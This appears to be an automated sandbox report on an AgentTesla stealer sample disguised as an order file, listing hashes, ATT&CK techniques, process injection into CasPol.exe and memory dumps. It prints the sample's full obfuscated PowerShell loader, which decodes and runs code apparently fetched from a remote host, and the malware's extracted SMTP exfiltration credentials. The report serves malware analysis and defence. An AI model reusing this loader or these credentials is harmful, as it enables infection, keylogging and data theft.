agenttesla | 1ae589f7033b509d9f1132e9e1159fd3185860f67544e95bce6055849c96b2c9

General

Target

order_svea.js
Size

1KB
MD5

7be8c7cd89a5fbdf8f9e4590a3671946
SHA1

ccd588b6aac0cb59a41b1c70d565f91cbf08a412
SHA256

1ae589f7033b509d9f1132e9e1159fd3185860f67544e95bce6055849c96b2c9
SHA512

ef05dd630844ea98b5d57aa8573bee893ad8fdd6b0530c975ac698d6334c602b0c5a6f8f6c740f74a127b4c6c2b62d64dad843b32af933112f14b69de4580888

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	1780	wscript.exe
6	1780	wscript.exe
8	1780	wscript.exe
31	4764	powershell.exe
35	4764	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4764	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
41	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4764 set thread context of 6016	4764	powershell.exe	99

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4764	powershell.exe
4764	powershell.exe
6016	CasPol.exe
6016	CasPol.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	6016	CasPol.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1780 wrote to memory of 4764	1780	wscript.exe	92
PID 1780 wrote to memory of 4764	1780	wscript.exe	92
PID 4764 wrote to memory of 6016	4764	powershell.exe	99
PID 4764 wrote to memory of 6016	4764	powershell.exe	99
PID 4764 wrote to memory of 6016	4764	powershell.exe	99
PID 4764 wrote to memory of 6016	4764	powershell.exe	99
PID 4764 wrote to memory of 6016	4764	powershell.exe	99
PID 4764 wrote to memory of 6016	4764	powershell.exe	99
PID 4764 wrote to memory of 6016	4764	powershell.exe	99
PID 4764 wrote to memory of 6016	4764	powershell.exe	99

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\order_svea.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command ""$Codigo = 'JtellurousBjtellurousG8tellurousbQBttellurousGUtellurousbgB0tellurousGUtellurouscgtellurousgtellurousD0tellurousItelluroustellurousntellurousCMtellurousetelluroustellurousjtellurousC4tellurousbwBstellurousG8tellurouscwtellurousvtellurousG0tellurousbwBjtellurousC4tellurousawBptellurousCMtellurousZQBttellurousHotellurousbwBrtellurousCMtellurousYQB5tellurousGktellurouscgtellurousjtellurousGktellurousbgBhtellurousGstellurouscgB1tellurousGYtellurousLwtellurousvtellurousDotellurouscwBwtellurousCMtellurousIwBotellurousCctellurousOwtellurousktellurousGQtellurousZQBttellurousG8tellurousYwBytellurousGEtellurousYwB5tellurousCtelluroustellurousPQtellurousgtellurousCQtellurousYwBvtellurousG0tellurousbQBltellurousG4tellurousdtellurousBltellurousHItellurousItelluroustellurousttellurousHItellurousZQBwtellurousGwtellurousYQBjtellurousGUtellurousItelluroustellurousntellurousCMtellurousJwtellurousstellurousCtelluroustellurousJwB0tellurousCctellurousOwtellurousktellurousHMtellurouseQBstellurousGwtellurousbwBntellurousGktellurousegBltellurousCtelluroustellurousPQtellurousgtellurousCctellurousatellurousB0tellurousHQtellurousctellurousBztellurousDotellurousLwtellurousvtellurousDEtellurousMtelluroustellurouswtellurousDctellurousLgBmtellurousGktellurousbtellurousBltellurousG0tellurousYQBptellurousGwtellurousLgBjtellurousG8tellurousbQtellurousvtellurousGEtellurousctellurousBptellurousC8tellurousZgBptellurousGwtellurousZQtellurousvtellurousGctellurousZQB0tellurousD8tellurousZgBptellurousGwtellurousZQBrtellurousGUtellurouseQtellurous9tellurousFctellurousatellurousBvtellurousFYtellurousNwBftellurousEstellurousZgBWtellurousFMtellurousctellurousBZtellurousFotellurousUwBQtellurousDUtellurousUwBHtellurousFktellurousagBRtellurousFctellurousWQBitellurousFMtellurousStellurousBotellurousEgtellurouscgBatellurousE0tellurousRtellurousBotellurousFMtellurousOQBvtellurousDktellurousatellurousBitellurousHItellurousTtellurousBCtellurousDgtellurousYwButellurousHctellurousTwtellurouswtellurousE0tellurousSQBitellurousFItellurousRwBNtellurousDYtellurousbwBTtellurousG8tellurousWgBstellurousHktellurousSwBrtellurousCYtellurousctellurousBrtellurousF8tellurousdgBptellurousGQtellurousPQtellurous0tellurousDktellurousMtelluroustellurous4tellurousDgtellurousZtelluroustellurousytellurousGYtellurousYgBmtellurousGUtellurousMwtellurous4tellurousDYtellurousMQtellurousytellurousDEtellurousNwtellurous0tellurousDMtellurousMtelluroustellurousytellurousDgtellurousMtelluroustellurousxtellurousDEtellurousYgtellurous3tellurousDgtellurousZQBitellurousDEtellurousJwtellurous7tellurousCQtellurousYQButellurousGQtellurouscgBTtellurousWMtellurousaQB1tellurousG0tellurousItelluroustellurous9tellurousCtelluroustellurousTgBltellurousHctellurousLQBPtellurousGItellurousagBltellurousGMtellurousdtelluroustellurousgtellurousFMtellurouseQBztellurousHQtellurousZQBttellurousC4tellurousTgBltellurousHQtellurousLgBXtellurousGUtellurousYgBDtellurousGwtellurousaQBltellurousG4tellurousdtelluroustellurous7tellurousCQtellurousdwBptellurousG4tellurousZwBztellurousHtelluroustellurouscgBltellurousGEtellurousZtellurousBztellurousCtelluroustellurousPQtellurousgtellurousCQtellurousYQButellurousGQtellurouscgBTtellurousWMtellurousaQB1tellurousG0tellurousLgBEtellurousG8tellurousdwButellurousGwtellurousbwBhtellurousGQtellurousRtellurousBhtellurousHQtellurousYQtellurousotellurousCQtellurouscwB5tellurousGwtellurousbtellurousBvtellurousGctellurousaQB6tellurousGUtellurousKQtellurous7tellurousCQtellurousYgBhtellurousGMtellurousaQBstellurousGwtellurousaQBjtellurousGktellurousZtellurousBhtellurousGwtellurousItelluroustellurous9tellurousCtelluroustellurousWwBTtellurousHktellurouscwB0tellurousGUtellurousbQtellurousutellurousFQtellurousZQB4tellurousHQtellurousLgBFtellurousG4tellurousYwBvtellurousGQtellurousaQButellurousGctellurousXQtellurous6tellurousDotellurousVQBUtellurousEYtellurousOtelluroustellurousutellurousEctellurousZQB0tellurousFMtellurousdtellurousBytellurousGktellurousbgBntellurousCgtellurousJtellurousB3tellurousGktellurousbgBntellurousHMtellurousctellurousBytellurousGUtellurousYQBktellurousHMtellurousKQtellurous7tellurousCQtellurousctellurousB1tellurousHItellurousctellurousBytellurousGUtellurouscwB0tellurousHUtellurouscgBltellurousHMtellurousItelluroustellurous9tellurousCtelluroustellurousJwtellurous8tellurousDwtellurousQgBBtellurousFMtellurousRQtellurous2tellurousDQtellurousXwBTtellurousFQtellurousQQBStellurousFQtellurousPgtellurous+tellurousCctellurousOwtellurousktellurousHEtellurousdwBotellurousGEtellurousdtelluroustellurousgtellurousD0tellurousItelluroustellurousntellurousDwtellurousPtellurousBCtellurousEEtellurousUwBFtellurousDYtellurousNtellurousBftellurousEUtellurousTgBEtellurousD4tellurousPgtellurousntellurousDstellurousJtellurousBztellurousGEtellurousdgBvtellurousHUtellurouscgBltellurousGQtellurousItelluroustellurous9tellurousCtelluroustellurousJtellurousBitellurousGEtellurousYwBptellurousGwtellurousbtellurousBptellurousGMtellurousaQBktellurousGEtellurousbtelluroustellurousutellurousEktellurousbgBktellurousGUtellurousetellurousBPtellurousGYtellurousKtelluroustellurousktellurousHtelluroustellurousdQBytellurousHtelluroustellurouscgBltellurousHMtellurousdtellurousB1tellurousHItellurousZQBztellurousCktellurousOwtellurousktellurousHItellurousbwB3tellurousHtelluroustellurousbwBytellurousHQtellurousItelluroustellurous9tellurousCtelluroustellurousJtellurousBitellurousGEtellurousYwBptellurousGwtellurousbtellurousBptellurousGMtellurousaQBktellurousGEtellurousbtelluroustellurousutellurousEktellurousbgBktellurousGUtellurousetellurousBPtellurousGYtellurousKtelluroustellurousktellurousHEtellurousdwBotellurousGEtellurousdtelluroustellurousptellurousDstellurousJtellurousBztellurousGEtellurousdgBvtellurousHUtellurouscgBltellurousGQtellurousItelluroustellurousttellurousGctellurousZQtellurousgtellurousDtelluroustellurousItelluroustellurousttellurousGEtellurousbgBktellurousCtelluroustellurousJtellurousBytellurousG8tellurousdwBwtellurousG8tellurouscgB0tellurousCtelluroustellurousLQBntellurousHQtellurousItelluroustellurousktellurousHMtellurousYQB2tellurousG8tellurousdQBytellurousGUtellurousZtelluroustellurous7tellurousCQtellurouscwBhtellurousHYtellurousbwB1tellurousHItellurousZQBktellurousCtelluroustellurousKwtellurous9tellurousCtelluroustellurousJtellurousBwtellurousHUtellurouscgBwtellurousHItellurousZQBztellurousHQtellurousdQBytellurousGUtellurouscwtellurousutellurousEwtellurousZQButellurousGctellurousdtellurousBotellurousDstellurousJtellurousBhtellurousG4tellurousaQBztellurousG8tellurousZwButellurousGEtellurousdtellurousBotellurousG8tellurousdQBztellurousCtelluroustellurousPQtellurousgtellurousCQtellurouscgBvtellurousHctellurousctellurousBvtellurousHItellurousdtelluroustellurousgtellurousC0tellurousItelluroustellurousktellurousHMtellurousYQB2tellurousG8tellurousdQBytellurousGUtellurousZtelluroustellurous7tellurousCQtellurousctellurousBytellurousGUtellurousdgBltellurousG4tellurousdtellurousBptellurousHYtellurousZQtellurousgtellurousD0tellurousItelluroustellurousktellurousGItellurousYQBjtellurousGktellurousbtellurousBstellurousGktellurousYwBptellurousGQtellurousYQBstellurousC4tellurousUwB1tellurousGItellurouscwB0tellurousHItellurousaQButellurousGctellurousKtelluroustellurousktellurousHMtellurousYQB2tellurousG8tellurousdQBytellurousGUtellurousZtelluroustellurousstellurousCtelluroustellurousJtellurousBhtellurousG4tellurousaQBztellurousG8tellurousZwButellurousGEtellurousdtellurousBotellurousG8tellurousdQBztellurousCktellurousOwtellurousktellurousGYtellurousZQBhtellurousHMtellurousdtellurousBstellurousHktellurousItelluroustellurous9tellurousCtelluroustellurousWwBTtellurousHktellurouscwB0tellurousGUtellurousbQtellurousutellurousEMtellurousbwButellurousHYtellurousZQBytellurousHQtellurousXQtellurous6tellurousDotellurousRgBytellurousG8tellurousbQBCtellurousGEtellurouscwBltellurousDYtellurousNtellurousBTtellurousHQtellurouscgBptellurousG4tellurousZwtellurousotellurousCQtellurousctellurousBytellurousGUtellurousdgBltellurousG4tellurousdtellurousBptellurousHYtellurousZQtellurousptellurousDstellurousJtellurousBwtellurousG8tellurousZtellurousBjtellurousGEtellurouscwB0tellurousHMtellurousItelluroustellurous9tellurousCtelluroustellurousWwBTtellurousHktellurouscwB0tellurousGUtellurousbQtellurousutellurousFItellurousZQBmtellurousGwtellurousZQBjtellurousHQtellurousaQBvtellurousG4tellurousLgBBtellurousHMtellurouscwBltellurousG0tellurousYgBstellurousHktellurousXQtellurous6tellurousDotellurousTtellurousBvtellurousGEtellurousZtelluroustellurousotellurousCQtellurousZgBltellurousGEtellurouscwB0tellurousGwtellurouseQtellurousptellurousDstellurousJtellurousBktellurousGktellurousYQBttellurousGktellurousZtellurousBptellurousGQtellurousZQtellurousgtellurousD0tellurousItellurousBbtellurousGQtellurousbgBstellurousGktellurousYgtellurousutellurousEktellurousTwtellurousutellurousEgtellurousbwBttellurousGUtellurousXQtellurousutellurousEctellurousZQB0tellurousE0tellurousZQB0tellurousGgtellurousbwBktellurousCgtellurousJwBWtellurousEEtellurousSQtellurousntellurousCktellurousLgBJtellurousG4tellurousdgBvtellurousGstellurousZQtellurousotellurousCQtellurousbgB1tellurousGwtellurousbtelluroustellurousstellurousCtelluroustellurousWwBvtellurousGItellurousagBltellurousGMtellurousdtellurousBbtellurousF0tellurousXQtellurousgtellurousEtelluroustellurousKtelluroustellurousktellurousGQtellurousZQBttellurousG8tellurousYwBytellurousGEtellurousYwB5tellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwBDtellurousGEtellurouscwBQtellurousG8tellurousbtelluroustellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousntellurousCwtellurousJwtellurousytellurousCctellurousKQtellurousptelluroustellurous=='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('tellurous','A'))); Invoke-Expression $OWjuxd""
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4764
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3njqe0vu.jcp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4764-20-0x000002C6F1990000-0x000002C6F199E000-memory.dmp

Filesize
56KB

Download
memory/4764-24-0x00007FFB0B6B0000-0x00007FFB0C171000-memory.dmp

Filesize
10.8MB

Download
memory/4764-17-0x00007FFB0B6B0000-0x00007FFB0C171000-memory.dmp

Filesize
10.8MB

Download
memory/4764-18-0x00007FFB0B6B0000-0x00007FFB0C171000-memory.dmp

Filesize
10.8MB

Download
memory/4764-19-0x000002C6F1B30000-0x000002C6F1EAE000-memory.dmp

Filesize
3.5MB

Download
memory/4764-6-0x00007FFB0B6B3000-0x00007FFB0B6B5000-memory.dmp

Filesize
8KB

Download
memory/4764-7-0x000002C6F1620000-0x000002C6F1642000-memory.dmp

Filesize
136KB

Download
memory/6016-21-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/6016-25-0x0000000005920000-0x0000000005EC4000-memory.dmp

Filesize
5.6MB

Download
memory/6016-26-0x0000000005560000-0x00000000055C6000-memory.dmp

Filesize
408KB

Download
memory/6016-27-0x0000000006700000-0x0000000006792000-memory.dmp

Filesize
584KB

Download
memory/6016-28-0x00000000067A0000-0x00000000067F0000-memory.dmp

Filesize
320KB

Download
memory/6016-29-0x0000000006890000-0x000000000692C000-memory.dmp

Filesize
624KB

Download
memory/6016-30-0x0000000006B60000-0x0000000006B6A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads